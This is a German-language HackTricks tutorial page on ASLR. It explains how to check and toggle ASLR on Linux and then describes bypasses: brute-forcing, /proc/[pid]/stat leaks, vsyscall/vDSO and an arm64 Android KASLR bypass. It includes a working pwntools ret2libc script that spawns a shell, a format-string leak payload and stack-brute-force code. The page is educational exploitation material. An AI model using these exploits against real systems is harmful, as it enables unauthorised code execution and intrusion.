ASLR
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
Address Space Layout Randomization (ASLR) ist eine Sicherheitstechnik, die in Betriebssystemen verwendet wird, um die Speicheradressen, die von System- und Anwendungsprozessen verwendet werden, zu randomisieren. Dadurch wird es für einen Angreifer erheblich schwieriger, den Standort bestimmter Prozesse und Daten vorherzusagen, wie z. B. stack, heap und libraries, und es werden damit bestimmte Exploit-Typen, insbesondere buffer overflows, abgeschwächt.
ASLR-Status überprüfen
Um den ASLR-Status auf einem Linux-System zu überprüfen, können Sie den Wert aus der Datei /proc/sys/kernel/randomize_va_space auslesen. Der in dieser Datei gespeicherte Wert bestimmt, welche Art von ASLR angewendet wird:
- 0: Keine Randomisierung. Alles ist statisch.
- 1: Konservative Randomisierung. Shared libraries, stack, mmap(), VDSO page werden randomisiert.
- 2: Volle Randomisierung. Zusätzlich zu den Elementen, die bei konservativer Randomisierung randomisiert werden, wird auch der über
brk()verwaltete Speicher randomisiert.
Sie können den ASLR-Status mit folgendem Befehl prüfen:
cat /proc/sys/kernel/randomize_va_space
ASLR deaktivieren
Um ASLR zu deaktivieren, setzen Sie den Wert von /proc/sys/kernel/randomize_va_space auf 0. Das Deaktivieren von ASLR wird in der Regel außerhalb von Test- oder Debugging-Szenarien nicht empfohlen. So können Sie es deaktivieren:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Du kannst ASLR für eine Ausführung auch deaktivieren mit:
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
ASLR aktivieren
Um ASLR zu aktivieren, können Sie den Wert 2 in die Datei /proc/sys/kernel/randomize_va_space schreiben. Dies erfordert in der Regel Root-Rechte. Vollständige Randomisierung lässt sich mit folgendem Befehl aktivieren:
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Persistenz über Neustarts
Mit den echo-Befehlen vorgenommenen Änderungen sind temporär und werden beim Neustart zurückgesetzt. Um die Änderung dauerhaft zu machen, müssen Sie die Datei /etc/sysctl.conf bearbeiten und folgende Zeile hinzufügen oder ändern:
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Nach dem Bearbeiten von /etc/sysctl.conf wenden Sie die Änderungen mit folgendem Befehl an:
sudo sysctl -p
Dies stellt sicher, dass deine ASLR-Einstellungen über Neustarts hinweg erhalten bleiben.
Umgehungen
32bit brute-forcing
PaX teilt den Prozess-Adressraum in 3 Gruppen auf:
- Code und Daten (initialisiert und uninitialisiert):
.text,.data, und.bss—> 16 bits Entropie in der Variabledelta_exec. Diese Variable wird bei jedem Prozess zufällig initialisiert und zu den Anfangsadressen addiert. - Speicher, der durch
mmap()alloziert wird, und shared libraries —> 16 bits, genanntdelta_mmap. - Der Stack —> 24 bits, bezeichnet als
delta_stack. Allerdings verwendet er effektiv 11 bits (vom 10. bis zum 20. Byte inklusive), ausgerichtet auf 16 bytes —> Dies ergibt 524,288 mögliche reale Stack-Adressen.
Die vorherigen Angaben gelten für 32-Bit-Systeme und die reduzierte finale Entropie macht es möglich, ASLR zu umgehen, indem die Ausführung wiederholt gestartet wird, bis der Exploit erfolgreich ausgeführt wurde.
Brute-force ideas:
- Wenn du einen groß genug Overflow hast, um ein großes NOP sled vor dem shellcode unterzubringen, könntest du einfach Adressen im Stack brute-forcen, bis der Ablauf über einen Teil des NOP sled springt.
- Eine andere Option, falls der Overflow nicht so groß ist und der Exploit lokal ausgeführt werden kann, ist, das NOP sled und den shellcode in einer Umgebungsvariable zu platzieren.
- Wenn der Exploit lokal ist, kannst du versuchen, die Basisadresse von libc brute-forcen (nützlich für 32bit-Systeme):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Wenn du einen remote server angreifst, könntest du versuchen, brute-force die Adresse der
libc-Funktionusleep, wobei du z. B. 10 als Argument übergibst. Wenn der server zu einem Zeitpunkt 10s länger zum Antworten braucht, hast du die Adresse dieser Funktion gefunden.
Tip
In 64-Bit-Systemen ist die Entropie deutlich höher und das sollte nicht möglich sein.
64 bits stack brute-forcing
Es ist möglich, einen großen Teil des stack mit env variables zu belegen und dann das binary hunderte/tausende Male lokal auszunutzen, um es zu exploiten.
Der folgende Code zeigt, wie es möglich ist, einfach eine Adresse im stack auszuwählen und dass bei einigen hundert Ausführungen diese Adresse die NOP instruction enthalten wird:
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Python brute-force stack NOP Erkennung
```python import subprocess import tracebackStart the process
nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops
Define the environment variables you want to set
env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }
cont = 0 while True: cont += 1
if cont % 10000 == 0: break
print(cont, end=“\r”)
Define the path to your binary
binary_path = ‘./aslr-testing’
try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass
</details>
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Lokale Informationen (`/proc/[pid]/stat`)
Die Datei **`/proc/[pid]/stat`** eines Prozesses ist für jeden lesbar und sie **enthält interessante** Informationen wie:
- **startcode** & **endcode**: Adressen oberhalb und unterhalb des **TEXT** des Binaries
- **startstack**: Die Adresse des Anfangs des **stack**
- **start_data** & **end_data**: Adressen oberhalb und unterhalb, wo sich die **BSS** befindet
- **kstkesp** & **kstkeip**: Aktuelle **ESP**- und **EIP**-Adressen
- **arg_start** & **arg_end**: Adressen oberhalb und unterhalb, wo sich **cli arguments** befinden.
- **env_start** &**env_end**: Adressen oberhalb und unterhalb, wo sich **env variables** befinden.
Daher — wenn sich der Angreifer auf demselben Rechner wie das auszunutzende Binary befindet und dieses Binary den Overflow nicht aus rohen Argumenten, sondern aus einer anderen **Eingabe, die nach dem Lesen dieser Datei erstellt werden kann**, erwartet — ist es möglich, dass der Angreifer **einige Adressen aus dieser Datei ausliest und daraus Offsets für den exploit konstruiert**.
> [!TIP]
> Für mehr Informationen zu dieser Datei siehe [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) und suche nach `/proc/pid/stat`
### Vorhandener leak
- **Die Challenge gibt einen leak**
Wenn dir ein leak gegeben wird (einfache CTF challenges), kannst du daraus Offsets berechnen (vorausgesetzt, du kennst z. B. die exakte libc-Version, die im System verwendet wird, das du exploitierst). Dieser Beispiel-Exploit wurde aus dem [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) entnommen (siehe diese Seite für mehr Details):
<details>
<summary>Python exploit with given libc leak</summary>
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
Durch Ausnutzung eines buffer overflows ist es möglich, einen ret2plt zu verwenden, um die Adresse einer Funktion aus der libc zu exfiltrieren. Siehe:
- Format Strings Arbitrary Read
Wie bei ret2plt, wenn du ein arbitrary read via einer format strings vulnerability hast, ist es möglich, die Adresse einer libc function aus der GOT zu exfiltrieren. Das folgende example is from here:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
You can find more info about Format Strings arbitrary read in:
Ret2ret & Ret2pop
Try to bypass ASLR abusing addresses inside the stack:
vsyscall
Der vsyscall-Mechanismus dient der Performance-Verbesserung, indem er erlaubt, bestimmte Systemaufrufe im Userspace auszuführen, obwohl sie grundlegend Teil des Kernel sind. Der entscheidende Vorteil von vsyscalls liegt in ihren festen Adressen, die nicht der ASLR (Address Space Layout Randomization) unterliegen. Diese feste Natur bedeutet, dass Angreifer keine information leak vulnerability benötigen, um ihre Adressen zu bestimmen und in einem Exploit zu verwenden.
Allerdings werden hier keine besonders interessanten gadgets zu finden sein (obwohl es beispielsweise möglich ist, ein ret;-Äquivalent zu bekommen)
(Das folgende Beispiel und der Code sind from this writeup)
Zum Beispiel könnte ein Angreifer die Adresse 0xffffffffff600800 in einem Exploit verwenden. Ein direkter Sprung zu einer ret-Anweisung kann jedoch nach Ausführung einiger gadgets zu Instabilität oder Abstürzen führen; ein Sprung zum Beginn eines syscall, der vom vsyscall-Abschnitt bereitgestellt wird, kann sich dagegen als erfolgreich erweisen. Durch das sorgfältige Platzieren eines ROP-gadgets, das die Ausführung zu dieser vsyscall-Adresse führt, kann ein Angreifer Codeausführung erreichen, ohne für diesen Teil des Exploits ASLR umgehen zu müssen.
Beispiel vmmap/vsyscall und gadget lookup
```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall] A syntax error in expression, near `.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'. gef➤ x/8g 0xffffffffff600000 0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305 0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 ```vDSO
Beachte daher, wie es möglich sein könnte, bypass ASLR abusing the vdso wenn der Kernel mit CONFIG_COMPAT_VDSO kompiliert ist, da die vdso-Adresse nicht randomisiert wird. Für mehr Infos siehe:
KASLR on ARM64 (Android): bypass via fixed linear map
In vielen arm64 Android-Kerneln ist die kernel linear map (direct map) Basis über Boots hinweg fest. Kernel-VAs für physische Seiten werden dadurch vorhersehbar, was KASLR für Ziele, die über die direct map erreichbar sind, bricht.
- For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
- PAGE_OFFSET = 0xffffff8000000000
- PHYS_OFFSET = memstart_addr (exported symbol)
- Translation:
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)
Leaking PHYS_OFFSET (rooted or with a kernel read primitive)
grep memstart /proc/kallsymsummemstart_addrzu finden- Lese 8 Bytes an dieser Adresse (LE) mit beliebigem kernel read (z. B. tracing-BPF helper, der
BPF_FUNC_probe_read_kernelaufruft) - Berechne direct-map VAs:
virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)
Exploitation impact
- Kein separater KASLR leak nötig, wenn das Ziel in/über die direct map erreichbar ist (z. B. page tables, Kernel-Objekte auf physischen Seiten, die du beeinflussen/beobachten kannst).
- Vereinfacht zuverlässiges arbitäres R/W und das Anvisieren von Kernel-Daten auf arm64 Android.
Reproduction summary
grep memstart /proc/kallsyms-> Adresse vonmemstart_addr- Kernel read -> dekodiere 8 Bytes LE ->
PHYS_OFFSET - Verwende
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)mitPAGE_OFFSET=0xffffff8000000000
Note
Access to tracing-BPF helpers requires sufficient privileges; any kernel read primitive or info leak suffices to obtain
PHYS_OFFSET.
How it’s fixed
- Begrenzter Kernel-VA-Space plus CONFIG_MEMORY_HOTPLUG reserviert VA für zukünftigen hotplug, wodurch die linear map an die niedrigste VA (fixe Basis) geschoben wird.
- Upstream arm64 removed linear-map randomization (commit
1db780bafa4c).
References
- Defeating KASLR by Doing Nothing at All (Project Zero)
- arm64: remove linear map randomization (commit 1db780bafa4c)
- Tracing BPF arbitrary read helper (Project Zero issue 434208461)
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks

